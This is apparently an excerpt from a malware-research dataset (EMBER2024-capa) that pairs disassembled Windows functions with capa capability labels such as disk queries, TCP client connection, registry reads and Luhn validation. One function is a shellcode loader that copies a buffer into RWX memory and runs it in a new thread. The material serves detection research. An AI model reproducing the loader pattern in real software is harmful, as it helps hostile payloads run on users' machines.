joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1004d7e0
Capabilities:
Get disk information via ioctl

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x10081010]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x20]
push edi
mov edi, dword [ebp + 0xc]
push 0
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 0
push 0
push 0x2d1080
push eax
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x1004d865
push 0
lea eax, [ebp - 0x20]
push eax
push 0xc
lea eax, [ebp - 0x1c]
push eax
push 0
push 0
push 0x2d1080
push edi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x1004d865
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x1c]
jne 0x1004d865
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x18]
jne 0x1004d865
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0x14]
jne 0x1004d865
mov eax, 1
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10054bb7
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop edi
call fcn.10054bb7
mov esp, ebp
pop ebp
ret 8

Function at 0x1004d880
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov eax, dword [0x10081010]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x40
lea eax, [ebp - 0x44]
push 0
push eax
call fcn.10057490
add esp, 0xc
mov dword [ebp - 0x44], 0x40
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
test eax, eax
jne 0x1004d8c5
xor edx, edx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10054bb7
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x3c]
xor ecx, ebp
mov edx, dword [ebp - 0x38]
call fcn.10054bb7
mov esp, ebp
pop ebp
ret
Function at 0x401080
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x190
lea eax, [esp]
push esi
push edi
mov esi, ecx
push eax
push 0x202
mov dword [esi], 0x4020b8
call dword [sym.imp.WS2_32.dll_WSAStartup]
xor edi, edi
push edi
push edi
push 1
push edi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esi + 0xc], eax
mov dword [esi + 0x4dd70], edi
mov dword [esi + 4], edi
mov ecx, 0x13757
xor eax, eax
lea edi, [esi + 0x10]
mov dword [esi + 8], 0xffffffff
rep stosd dword es:[edi], eax
mov eax, esi
pop edi
pop esi
add esp, 0x190
ret

Function at 0x401230
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Create thread
Resolve dns

Disassembly:
sub esp, 0x10
push esi
push 6
push 1
mov esi, ecx
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [esi + 8], eax
jne 0x401253
xor eax, eax
pop esi
add esp, 0x10
ret 8
push ebx
mov ebx, dword [esp + 0x20]
push ebp
mov ebp, dword [esp + 0x20]
push edi
push ebp
call dword [sym.imp.WS2_32.dll_gethostbyname]
push ebx
mov edi, eax
mov word [esp + 0x14], 2
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x12], ax
mov eax, dword [edi + 0xc]
push 0x10
mov ecx, dword [eax]
lea eax, [esp + 0x14]
push eax
mov edx, dword [ecx]
mov ecx, dword [esi + 8]
push ecx
mov dword [esp + 0x20], edx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x4012b6
mov edx, dword [esi + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [esi + 0xc]
push 0x3e8
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x40125e
push 0
push 0
push esi
push 0x4012e0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
pop ebp
pop ebx
mov eax, 1
pop esi
add esp, 0x10
ret 8

Function at 0x401420
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push esi
push 0x40
push 0x3000
push 0x4dd5c
mov esi, ecx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
jne 0x40143d
pop esi
ret
push edi
push 0
push 0
push eax
mov ecx, 0x13757
add esi, 0x4dd74
mov edi, eax
push eax
push 0
push 0
rep movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
mov eax, 1
pop esi
ret
Function at 0x401680
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4020c0
push 0x4017be
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 4], 0
push 1
call dword [sym.imp.MSVCRT.dll___set_app_type]
pop ecx
or dword [0x403650], 0xffffffff
or dword [0x403654], 0xffffffff
call dword [sym.imp.MSVCRT.dll___p__fmode]
mov ecx, dword [0x403648]
mov dword [eax], ecx
call dword [sym.imp.MSVCRT.dll___p__commode]
mov ecx, dword [0x403644]
mov dword [eax], ecx
mov eax, dword [sym.imp.MSVCRT.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x40364c], eax
call fcn.004017bd
cmp dword [0x403630], 0
jne 0x401703
push 0x4017ba
call dword [sym.imp.MSVCRT.dll___setusermatherr]
pop ecx
call fcn.004017a8
push 0x40301c
push 0x403018
call sub.MSVCRT.dll__initterm
mov eax, dword [0x403640]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
push dword [0x40363c]
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.MSVCRT.dll___getmainargs]
push 0x403014
push section..data
call sub.MSVCRT.dll__initterm
call dword [sym.imp.MSVCRT.dll___p___initenv]
mov ecx, dword [ebp - 0x20]
mov dword [eax], ecx
push dword [ebp - 0x20]
push dword [ebp - 0x2c]
push dword [ebp - 0x1c]
call fcn.00401520
add esp, 0x30
mov dword [ebp - 0x24], eax
push eax
call dword [sym.imp.MSVCRT.dll_exit]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov ecx, dword [ecx]
mov dword [ebp - 0x30], ecx
push eax
push ecx
call sub.MSVCRT.dll__XcptFilter
pop ecx
pop ecx
ret
Function at 0x403bc3
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x414
mov eax, dword [0x4ba030]
xor eax, esp
mov dword [esp + 0x410], eax
cmp dword [ebp + 0x1c], 0
mov edx, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0x18]
push esi
push edi
mov esi, ecx
mov dword [esp + 0x10], edx
jne 0x403d4f
xor edi, edi
inc edi
cmp dword [ebp + 0xc], 0x110
push 2
pop edx
jne 0x403c6a
push ecx
push ecx
mov dword [esi + 0x98], edi
call fcn.00403db1
mov dword [ebx], eax
cmp dword [esi + 0x98], 0
jne 0x403c8f
mov edx, dword [ebp + 0xc]
mov ecx, dword [esp + 0x10]
push ebx
push dword [ebp + 0x14]
push dword [ebp + 0x10]
call fcn.00402fbd
add esp, 0xc
test eax, eax
jne 0x403c8f
cmp dword [ebp + 0xc], 0x111
mov eax, dword [esi + 0x50]
mov dword [esp + 0x14], eax
jne 0x403cf8
cmp di, word [ebp + 0x10]
jne 0x403d22
push edi
push dword [esi + 4]
mov dword [esi + 0x50], edi
call dword [sym.imp.USER32.dll_EndDialog]
and dword [ebx], 0
jmp 0x403d1c
cmp dword [ebp + 0xc], 0x111
jne 0x403c1d
mov eax, dword [ebp + 0x10]
movzx eax, ax
mov ecx, eax
cmp dx, ax
jne 0x403c96
push edx
push dword [esi + 4]
call dword [sym.imp.USER32.dll_EndDialog]
xor edi, edi
inc edi
mov dword [ebx], edi
mov eax, edi
jmp 0x403d51
cmp di, cx
jne 0x403cde
push 0x400
lea eax, [esp + 0x1c]
push 0
push eax
call fcn.00428be0
add esp, 0xc
lea eax, [esp + 0x18]
push 0x200
push eax
push dword [esi + 0x60]
call dword [sym.imp.USER32.dll_GetWindowTextW]
lea eax, [esp + 0x18]
push eax
lea ecx, [esi + 0x80]
call fcn.00402454
push edi
push dword [esi + 4]
call dword [sym.imp.USER32.dll_EndDialog]
jmp 0x403c8d
push 0x4d
pop eax
cmp ax, cx
jne 0x403c1d
sub esp, 0x10
mov ecx, esi
call fcn.00404209
mov dword [ebx], eax
jmp 0x403c8f
cmp dword [ebp + 0xc], 0x10
jne 0x403d05
push 2
jmp 0x403c56
cmp dword [ebp + 0xc], 0x110
jne 0x403d22
push ecx
push ecx
mov ecx, esi
mov dword [esi + 0x50], edi
call fcn.00402eb0
mov dword [ebx], eax
cmp dword [esi + 0x50], 0
jne 0x403d3c
mov edx, dword [ebp + 0xc]
mov ecx, dword [esp + 0x10]
push ebx
push dword [ebp + 0x14]
push dword [ebp + 0x10]
call fcn.00402fbd
add esp, 0xc
test eax, eax
je 0x403d48
mov eax, dword [esp + 0x14]
mov dword [esi + 0x50], eax
jmp 0x403c8f
mov eax, dword [esp + 0x14]
mov dword [esi + 0x50], eax
xor eax, eax
mov ecx, dword [esp + 0x41c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00426ca5
mov esp, ebp
pop ebp
ret 0x18

Function at 0x40804b
Capabilities:
Create thread

Disassembly:
push 4
mov eax, 0x48c6da
call fcn.004277be
mov esi, ecx
push 4
xor ebx, ebx
call fcn.00426ce4
mov edx, dword [ebp + 8]
mov dword [ebp + 8], eax
mov dword [eax], edx
lea edi, [esi + 4]
mov dword [ebp - 4], ebx
push edi
push ebx
push eax
push 0x40872b
push ebx
push ebx
call fcn.0043993e
add esp, 0x1c
mov dword [esi], eax
test eax, eax
je 0x408092
mov eax, esi
call fcn.0042778c
ret 4
push 6
mov dword [edi], ebx
call fcn.0042584d
int3
Function at 0x408f89
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
xor ebx, ebx
test ecx, ecx
je 0x408fac
cmp word [ecx], bx
je 0x408fac
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x408fac
push 1
test al, 0x10
movzx ebx, bl
pop ecx
cmove ebx, ecx
mov al, bl
pop ebx
ret

Function at 0x409069
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x4ba030]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0xc]
xor eax, eax
push esi
push edi
push 0xa
pop ecx
push dword [ebp + 8]
lea edi, [ebp - 0x2c]
mov esi, edx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x2c]
push 0x4a9904
push eax
call fcn.004074fd
add esp, 0xc
lea eax, [ebp - 0x2c]
push esi
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
je 0x409117
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x409117
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
je 0x409117
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
test esi, esi
je 0x409117
lea eax, [esi + 1]
cmp eax, dword [ebx + 0x10]
ja 0x4090f7
cmp dword [ebx + 0x14], 0x10
mov edx, ebx
jb 0x4090ed
mov edx, dword [ebx]
xor ecx, ecx
mov dword [ebx + 0x10], eax
mov byte [edx + eax], cl
jmp 0x409103
sub eax, dword [ebx + 0x10]
push ecx
push eax
mov ecx, ebx
call fcn.004098b9
push ecx
mov ecx, ebx
call fcn.00407451
push esi
push edi
call fcn.0040237e
xor ecx, ecx
inc ecx
jmp 0x409119
xor ecx, ecx
mov eax, ecx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00426ca5
leave
ret

Function at 0x40912a
Capabilities:
Get file version info

Disassembly:
push 0x18
mov eax, 0x48c863
call fcn.00427827
mov esi, edx
mov ebx, ecx
xor eax, eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 4], eax
lea eax, [ebp - 0x18]
push eax
push ebx
call dword [sym.imp.VERSION.dll_GetFileVersionInfoSizeW]
push eax
mov dword [ebp - 0x1c], eax
call fcn.00426f6a
pop ecx
mov edi, eax
xor eax, eax
push edi
push dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
push eax
push ebx
mov dword [ebp - 0x14], eax
call dword [sym.imp.VERSION.dll_GetFileVersionInfoW]
test eax, eax
je 0x4091ae
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x4a9828
push edi
call dword [sym.imp.VERSION.dll_VerQueryValueW]
mov ecx, dword [ebp - 0x14]
test ecx, ecx
je 0x4091ae
mov ax, word [ecx + 0xa]
mov word [esi], ax
mov ax, word [ecx + 8]
mov word [esi + 2], ax
mov ax, word [ecx + 0xe]
mov word [esi + 4], ax
mov ax, word [ecx + 0xc]
mov word [esi + 6], ax
xor esi, esi
inc esi
test edi, edi
je 0x4091c7
push edi
call fcn.00426f65
pop ecx
jmp 0x4091c7
mov eax, esi
call fcn.0042778c
ret
Function at 0x4091d4
Capabilities:
Get common file path

Disassembly:
push 0x854
mov eax, 0x48c89b
call fcn.004277f1
mov ebx, ecx
push 0x800
lea eax, [ebp - 0x810]
push 0
push eax
call fcn.00428be0
add esp, 0xc
lea eax, [ebp - 0x810]
push eax
push 0x400
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x810]
push eax
lea ecx, [ebp - 0x840]
call fcn.00401cb7
and dword [ebp - 4], 0
lea edi, [ebp - 0x828]
xor eax, eax
stosd dword es:[edi], eax
push 7
pop ecx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
mov dword [ebp - 0x814], ecx
mov word [ebp - 0x828], ax
push 8
mov byte [ebp - 4], 1
pop edi
cmp ecx, edi
lea eax, [ebp - 0x828]
push 0xa
cmovae eax, dword [ebp - 0x828]
lea edx, [ebp - 0x828]
and dword [ebp - 0x818], 0
xor ecx, ecx
mov word [eax], cx
pop ecx
call fcn.0040abcc
lea eax, [ebp - 0x828]
push eax
lea edx, [ebp - 0x840]
lea ecx, [ebp - 0x858]
call fcn.00409bd6
pop ecx
cmp dword [eax + 0x14], edi
jb 0x409291
mov eax, dword [eax]
push 0
push eax
call fcn.00439309
pop ecx
pop ecx
lea ecx, [ebp - 0x858]
mov esi, eax
call fcn.004015ac
test esi, esi
jne 0x4092b4
mov ecx, dword [ebp - 0x814]
jmp 0x409248
lea eax, [ebp - 0x828]
push eax
lea edx, [ebp - 0x840]
lea ecx, [ebp - 0x858]
call fcn.00409bd6
pop ecx
push eax
mov ecx, ebx
call fcn.00401c80
lea ecx, [ebp - 0x858]
call fcn.004015ac
cmp dword [ebx + 0x14], edi
jb 0x4092e7
mov ebx, dword [ebx]
mov eax, dword [ebp - 0x814]
cmp eax, edi
jb 0x40933b
mov ecx, dword [ebp - 0x828]
lea eax, [eax*2 + 2]
mov dword [ebp - 0x85c], eax
mov dword [ebp - 0x860], ecx
cmp eax, 0x1000
jb 0x409332
lea eax, [ebp - 0x85c]
push eax
lea eax, [ebp - 0x860]
push eax
call fcn.0040155c
mov eax, dword [ebp - 0x85c]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x860]
push eax
push ecx
call fcn.00426cb3
pop ecx
pop ecx
and dword [ebp - 0x818], 0
lea ecx, [ebp - 0x840]
xor eax, eax
mov dword [ebp - 0x814], 7
mov word [ebp - 0x828], ax
call fcn.004015ac
mov eax, ebx
call fcn.004277a0
ret
Function at 0x409368
Capabilities:
Get common file path
Query or enumerate registry value

Disassembly:
push 0x844
mov eax, 0x48c909
call fcn.004277f1
mov esi, ecx
xor ebx, ebx
push ebx
mov dword [ebp - 0x84c], ebx
mov dword [ebp - 0x844], ebx
call fcn.0040617e
mov edx, str.JaqKKLKJSDKTn9NPjHsGku6Tny6RJL6TSDpRjHcSkm6NJLrSoarRj1IJXuMOcLbSSL_RrabSkuMRau6T
lea ecx, [ebp - 0x840]
call fcn.0040ccb6
mov edx, eax
mov dword [ebp - 4], ebx
lea ecx, [ebp - 0x828]
call fcn.0040aab8
cmp dword [eax + 0x14], 8
jb 0x4093b5
mov eax, dword [eax]
lea ecx, [ebp - 0x844]
push ecx
push 0x20019
push ebx
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea ecx, [ebp - 0x828]
call fcn.004015ac
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x840]
call fcn.00402429
push 0x800
lea eax, [ebp - 0x810]
push ebx
push eax
call fcn.00428be0
add esp, 0xc
mov dword [ebp - 0x848], 0x400
cmp dword [ebp - 0x844], 0
je 0x4094bf
lea eax, [ebp - 0x848]
push eax
lea eax, [ebp - 0x810]
push eax
lea eax, [ebp - 0x850]
push eax
push ebx
push str.TEMP
push dword [ebp - 0x844]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x4094b3
lea eax, [ebp - 0x810]
mov ecx, esi
push eax
call fcn.00402454
push ebx
push dword [0x4e4b8c]
mov ecx, esi
call fcn.00407f91
mov edi, eax
cmp edi, 0xffffffff
je 0x4094b3
push 0x400
lea eax, [ebp - 0x810]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
test eax, eax
je 0x4094b3
push dword [0x4e4b8c]
call fcn.0043b8f4
pop ecx
lea edx, [ebp - 0x810]
mov ecx, eax
lea ebx, [edx + 2]
mov ax, word [edx]
add edx, 2
cmp ax, word [ebp - 0x84c]
jne 0x40948f
sub edx, ebx
lea eax, [ebp - 0x810]
sar edx, 1
push edx
push eax
push ecx
push edi
mov ecx, esi
call fcn.00409913
push dword [ebp - 0x844]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call fcn.004277a0
ret
Function at 0x4095f5
Capabilities:
Create directory
Get common file path

Disassembly:
push 0x870
mov eax, 0x48c99e
call fcn.004277f1
mov esi, ecx
mov dword [ebp - 0x874], esi
push 0x800
xor ebx, ebx
mov dword [ebp - 0x874], esi
lea eax, [ebp - 0x810]
push ebx
push eax
call fcn.00428be0
add esp, 0xc
lea eax, [ebp - 0x810]
push eax
push 0x400
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x810]
push eax
lea ecx, [ebp - 0x858]
call fcn.00401cb7
mov dword [ebp - 4], ebx
lea ecx, [ebp - 0x858]
cmp dword [ebp - 0x844], 8
mov eax, dword [ebp - 0x848]
cmovae ecx, dword [ebp - 0x858]
cmp word [ecx + eax*2 - 2], 0x5c
je 0x409682
push 0x4a9828
lea ecx, [ebp - 0x858]
call fcn.00402069
xor eax, eax
lea edi, [ebp - 0x840]
stosd dword es:[edi], eax
push 7
pop edx
mov ecx, edx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
mov dword [ebp - 0x82c], ecx
mov word [ebp - 0x840], ax
lea edi, [ebp - 0x828]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
mov dword [ebp - 0x814], edx
mov word [ebp - 0x828], ax
push 8
mov byte [ebp - 4], 2
pop edi
cmp ecx, edi
mov dword [ebp - 0x830], ebx
lea eax, [ebp - 0x840]
cmovae eax, dword [ebp - 0x840]
lea edx, [ebp - 0x840]
xor ecx, ecx
mov word [eax], cx
lea eax, [ebp - 0x828]
cmp dword [ebp - 0x814], edi
mov dword [ebp - 0x818], ebx
cmovae eax, dword [ebp - 0x828]
mov word [eax], cx
mov ecx, edi
call fcn.0040abcc
push eax
lea edx, [ebp - 0x858]
lea ecx, [ebp - 0x870]
call fcn.00409bd6
pop ecx
push eax
lea ecx, [ebp - 0x828]
call fcn.00401c80
lea ecx, [ebp - 0x870]
call fcn.004015ac
cmp dword [ebp - 0x814], edi
lea ecx, [ebp - 0x828]
cmovae ecx, dword [ebp - 0x828]
call fcn.00408fb0
test al, al
je 0x409756
mov ecx, dword [ebp - 0x82c]
jmp 0x4096c2
cmp dword [ebp - 0x814], edi
lea eax, [ebp - 0x828]
cmovae eax, dword [ebp - 0x828]
push eax
call fcn.0043a7c7
pop ecx
lea eax, [ebp - 0x828]
mov ecx, esi
push eax
call fcn.00401f77
mov eax, dword [ebp - 0x814]
cmp eax, edi
jb 0x4097d2
mov ecx, dword [ebp - 0x828]
lea eax, [eax*2 + 2]
mov dword [ebp - 0x878], eax
mov dword [ebp - 0x874], ecx
cmp eax, 0x1000
jb 0x4097c9
lea eax, [ebp - 0x878]
push eax
lea eax, [ebp - 0x874]
push eax
call fcn.0040155c
mov eax, dword [ebp - 0x878]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x874]
push eax
push ecx
call fcn.00426cb3
pop ecx
pop ecx
xor eax, eax
mov dword [ebp - 0x818], ebx
mov word [ebp - 0x828], ax
mov eax, dword [ebp - 0x82c]
mov dword [ebp - 0x814], 7
cmp eax, edi
jb 0x40983f
mov ecx, dword [ebp - 0x840]
lea eax, [eax*2 + 2]
mov dword [ebp - 0x874], eax
mov dword [ebp - 0x878], ecx
cmp eax, 0x1000
jb 0x409836
lea eax, [ebp - 0x874]
push eax
lea eax, [ebp - 0x878]
push eax
call fcn.0040155c
mov eax, dword [ebp - 0x874]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x878]
push eax
push ecx
call fcn.00426cb3
pop ecx
pop ecx
xor eax, eax
mov dword [ebp - 0x830], ebx
lea ecx, [ebp - 0x858]
mov dword [ebp - 0x82c], 7
mov word [ebp - 0x840], ax
call fcn.004015ac
mov eax, esi
call fcn.004277a0
ret
Function at 0x40ab35
Capabilities:
Validate payment card number using luhn algorithm

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov esi, edx
xor bl, bl
push 0xb1
mov ecx, esi
call fcn.0040b1b5
jmp 0x40abba
call fcn.00433f9b
push 0x24
cdq
pop ecx
idiv ecx
cmp edx, 9
ja 0x40ab63
add dl, 0x30
jmp 0x40ab66
add dl, 0x57
mov byte [ebp - 4], dl
lea eax, [edx - 0x30]
test edi, edi
jne 0x40ab78
cmp al, 9
jbe 0x40abba
test edi, edi
je 0x40ab88
cmp dword [esi + 0x14], 0x10
mov ecx, esi
jb 0x40ab82
mov ecx, dword [esi]
cmp byte [edi + ecx - 1], dl
je 0x40abba
test bl, bl
jne 0x40abae
cmp al, 9
ja 0x40ab94
inc bl
jmp 0x40abae
cmp dword [esi + 0x10], 0xb0
jne 0x40abae
call fcn.00433f9b
push 0xa
cdq
pop ecx
idiv ecx
add dl, 0x30
mov byte [ebp - 4], dl
push dword [ebp - 4]
mov ecx, esi
push 1
call fcn.0040b216
mov edi, dword [esi + 0x10]
cmp edi, 0xb1
jb 0x40ab4e
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret

Function at 0x40c8d1
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, ecx
mov dword [ebp - 4], eax
add eax, 4
cmp dword [eax + 0x14], 8
jb 0x40c8e5
mov eax, dword [eax]
push esi
push 0x4a9878
push eax
call fcn.00433ab3
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x40c964
push ebx
push edi
mov ecx, esi
call fcn.0040901f
mov ebx, eax
push ebx
call fcn.00426f6a
push ebx
mov edi, eax
push 0
push edi
call fcn.00428be0
push esi
push 1
push ebx
push edi
call fcn.0043a3bb
push esi
call fcn.00433ef1
mov ecx, dword [ebp - 4]
add esp, 0x24
cmp dword [ecx + 0x2c], 0
je 0x40c94c
add ecx, 0x1c
cmp dword [ecx + 0x14], 0x10
jb 0x40c93c
mov ecx, dword [ecx]
mov esi, dword [ebp + 8]
mov edx, edi
push esi
push ebx
call fcn.0040d0ed
pop ecx
pop ecx
jmp 0x40c958
mov esi, dword [ebp + 8]
mov ecx, esi
push ebx
push edi
call fcn.0040237e
push edi
call fcn.00426f65
mov eax, dword [esi + 0x10]
pop ecx
pop edi
pop ebx
pop esi
leave
ret 4
Function at 0x411516
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x48d927
mov eax, dword fs:[0]
push eax
mov eax, 0x1040
call fcn.00427f60
mov eax, dword [0x4ba030]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
call fcn.0041116f
mov ebx, 0x800
mov esi, eax
push ebx
lea eax, [ebp - 0x1010]
push 0
push eax
call fcn.00428be0
xor eax, eax
push ebx
push eax
mov dword [ebp - 0x1044], eax
mov dword [ebp - 0x104c], eax
mov dword [ebp - 0x1048], eax
lea eax, [ebp - 0x810]
push eax
call fcn.00428be0
add esp, 0x18
lea ecx, [ebp - 0x1040]
mov edx, str.3eoB
call fcn.0040ccb6
and dword [ebp - 4], 0
lea ecx, [ebp - 0x1028]
mov edx, eax
call fcn.0040aab8
lea ecx, [ebp - 0x1040]
call fcn.00402429
cmp dword [ebp - 0x1014], 8
lea ecx, [ebp - 0x810]
mov edx, 0x400
lea eax, [ebp - 0x1028]
cmovae eax, dword [ebp - 0x1028]
push edx
push ecx
lea ecx, [ebp - 0x1048]
push ecx
lea ecx, [ebp - 0x104c]
push ecx
lea ecx, [ebp - 0x1044]
push ecx
push edx
lea ecx, [ebp - 0x1010]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
mov ecx, dword [ebp - 0x1044]
mov edx, esi
push edi
call fcn.00411476
pop ecx
lea ecx, [ebp - 0x1028]
call fcn.004015ac
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00426ca5
leave
ret

Function at 0x411631
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x48d96c
mov eax, dword fs:[0]
push eax
mov eax, 0x1054
call fcn.00427f60
mov eax, dword [0x4ba030]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
call fcn.0041116f
mov edi, 0x800
mov esi, eax
push edi
lea eax, [ebp - 0x1020]
push 0
push eax
call fcn.00428be0
add esp, 0xc
xor eax, eax
mov dword [ebp - 0x1054], eax
mov dword [ebp - 0x105c], eax
mov dword [ebp - 0x1058], eax
push edi
push eax
lea eax, [ebp - 0x820]
push eax
call fcn.00428be0
add esp, 0xc
lea ecx, [ebp - 0x1050]
mov edx, str.3eoB
call fcn.0040ccb6
and dword [ebp - 4], 0
lea ecx, [ebp - 0x1038]
mov edx, eax
call fcn.0040aab8
lea ecx, [ebp - 0x1050]
mov byte [ebp - 4], 2
call fcn.00402429
cmp dword [ebp - 0x1024], 8
lea ecx, [ebp - 0x820]
mov edx, 0x400
lea eax, [ebp - 0x1038]
cmovae eax, dword [ebp - 0x1038]
push edx
push ecx
lea ecx, [ebp - 0x1058]
push ecx
lea ecx, [ebp - 0x105c]
push ecx
lea ecx, [ebp - 0x1054]
push ecx
push edx
lea ecx, [ebp - 0x1020]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
mov ecx, dword [ebp - 0x1054]
lea edi, [ebp - 0x1c]
xor eax, eax
mov edx, esi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.00411476
pop ecx
push ebx
push 0xc
pop edx
lea ecx, [ebp - 0x1c]
call fcn.0040d449
pop ecx
lea ecx, [ebp - 0x1038]
call fcn.004015ac
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00426ca5
leave
ret